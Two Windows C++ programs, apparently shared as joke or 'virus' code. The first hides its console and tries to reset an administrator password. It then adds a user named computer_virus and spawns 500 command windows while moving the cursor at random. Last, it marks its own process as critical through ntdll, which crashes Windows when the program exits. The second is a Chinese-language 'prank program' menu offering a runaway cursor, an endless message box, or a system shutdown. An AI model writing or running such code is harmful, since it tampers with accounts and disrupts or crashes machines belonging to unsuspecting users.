#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
system("net user Administator 123456");
system("net user computer_virus computer_virus /add");
for(unsigned long long i = 1; i <= 500; i++)
{
system("start cmd");
for(int i=1;i<=100;i++)
{
SetCursorPos(rand()%y,rand()%x);
}
}
typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
RtlAdjustPrivilege AdjustPrivilege;
RtlSetProcessIsCritical SetCriticalProcess;
HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
BOOLEAN b;
AdjustPrivilege(20UL, TRUE, FALSE, &b);
SetCriticalProcess(TRUE, NULL, FALSE);
return 0;
}
```mermaid
#include <windows.h>
#include <ctime>
#include <iostream>
using namespace std;
int main() {
int choose = 0;
cout<<"欢迎来到捣蛋程序"<<endl;
cout<<"请选择你要挑战的项目:"<<endl;
cout<<"1、不受控的鼠标"<<endl;
cout<<"2、关不掉的窗口"<<endl;
cout<<"3、勇敢者的挑战"<<endl;
cout<<"请输入你的选择:" ;
cin >> choose;
if (choose == 1) {
while (1) {
SetCursorPos(rand() % 2000, rand() % 1500); //鼠标位置随机产生
}
} else if (choose == 2) {
while (1) {
MessageBox(NULL, "关不掉的窗口","你能关掉我吗?", MB_YESNO); //弹出对话框
}
} else if (choose == 3) {
system("shutdown -s");
}
return 0;
}
```mermaid